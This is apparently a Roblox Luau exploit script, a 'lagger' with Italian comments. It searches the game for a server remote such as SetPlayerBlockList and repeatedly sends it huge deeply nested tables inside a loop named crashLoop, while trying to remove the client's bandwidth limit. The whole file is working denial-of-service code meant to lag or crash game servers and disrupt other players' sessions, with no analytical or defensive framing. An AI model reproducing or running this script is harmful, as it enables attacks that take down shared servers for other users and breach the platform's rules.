local Players = game:GetService("Players")
local RunService = game:GetService("RunService")
local UserInputService = game:GetService("UserInputService")
local ReplicatedStorage = game:GetService("ReplicatedStorage")
local NetworkClient = game:GetService("NetworkClient")
local TweenService = game:GetService("TweenService")
local lp = Players.LocalPlayer

-- Configurazione lagger
local cfg = {
    tableInc = 290,
    tries = 1,
    waitTime = 0.06
}

local laggerEnabled = false
local laggerThread = nil

-- Funzioni remote
local cachedRemote = nil

local function getDirectRemote()
    local ok, result = pcall(function()
        return game.RobloxReplicatedStorage.SetPlayerBlockList
    end)
    if ok and result and (result:IsA("RemoteEvent") or result:IsA("UnreliableRemoteEvent") or result:IsA("RemoteFunction")) then
        return result
    end
    return nil
end

local function findRemote()
    if cachedRemote and cachedRemote.Parent then return cachedRemote end
    local paths = {
        function() return game:GetService("RobloxReplicatedStorage"):FindFirstChild("SetPlayerBlockList") end,
        function() return ReplicatedStorage:FindFirstChild("SetPlayerBlockList") end,
        function() return game:FindFirstChild("SetPlayerBlockList", true) end,
    }
    for _, pathFn in ipairs(paths) do
        local ok, result = pcall(pathFn)
        if ok and result and (result:IsA("RemoteEvent") or result:IsA("UnreliableRemoteEvent") or result:IsA("RemoteFunction")) then
            cachedRemote = result
            return result
        end
    end
    local services = {ReplicatedStorage, game:FindFirstChild("RobloxReplicatedStorage")}
    for _, service in ipairs(services) do
        if service then
            for _, obj in ipairs(service:GetDescendants()) do
                if obj:IsA("RemoteEvent") or obj:IsA("UnreliableRemoteEvent") or obj:IsA("RemoteFunction") then
                    local name = obj.Name:lower()
                    if name:find("block") or name:find("steal") or name:find("accept") or name:find("report") or name:find("player") then
                        cachedRemote = obj
                        return obj
                    end
                end
            end
        end
    end
    for _, service in ipairs(services) do
        if service then
            for _, obj in ipairs(service:GetDescendants()) do
                if obj:IsA("RemoteEvent") or obj:IsA("UnreliableRemoteEvent") then
                    cachedRemote = obj
                    return obj
                end
            end
        end
    end
    return nil
end

local function getRemote()
    local direct = getDirectRemote()
    if direct then return direct end
    return findRemote()
end

local function getmaxvalue(val)
    if type(val) ~= "number" then return nil end
    return 499999/(val+2)
end

local function bomb(tableincrease, tries)
    local maintable = {}
    local spammedtable = {}
    table.insert(spammedtable, {})
    local z = spammedtable[1]
    for i = 1, tableincrease do
        local tableins = {}
        table.insert(z, tableins)
        z = tableins
    end
    local maximum = getmaxvalue(tableincrease) or 9999999
    for i = 1, maximum do
        table.insert(maintable, spammedtable)
        if i % 10000 == 0 then task.wait() end
    end
    local remote = getRemote()
    if remote then
        for i = 1, tries do
            local ok, err = pcall(function()
                if remote:IsA("RemoteEvent") or remote:IsA("UnreliableRemoteEvent") then
                    remote:FireServer(maintable)
                elseif remote:IsA("RemoteFunction") then
                    remote:InvokeServer(maintable)
                end
            end)
            if not ok then
                warn("[CTE] Remote call failed: " .. tostring(err))
                cachedRemote = nil
            end
        end
    else
        warn("[CTE] No remote found!")
    end
end

local function crashLoop()
    while laggerEnabled do
        pcall(function()
            NetworkClient:SetOutgoingKBPSLimit(math.huge)
        end)
        pcall(function()
            settings().Network.IncomingReplicationLag = 0
        end)
        bomb(cfg.tableInc, cfg.tries)
        pcall(function()
            for i = 1, 50 do
                game:GetService("Stats"):Get("Network.ServerStatsItem")
            end
        end)
        task.wait(cfg.waitTime)
    end
end

local function startLagger()
    if laggerThread then return end
    laggerEnabled = true
    laggerThread = coroutine.create(crashLoop)
    coroutine.resume(laggerThread)
end

local function stopLagger()
    laggerEnabled = false
    if laggerThread then
        pcall(function() coroutine.close(laggerThread) end)
        laggerThread = nil
    end
end

local function toggleLagger()
    if laggerEnabled then
        stopLagger()
    else
        startLagger()
    end
end

local function setPreset(value)
    cfg.tableInc = value
    if laggerEnabled then
        stopLagger()
        task.wait(0.2)
        startLagger()
    end
end
<!---->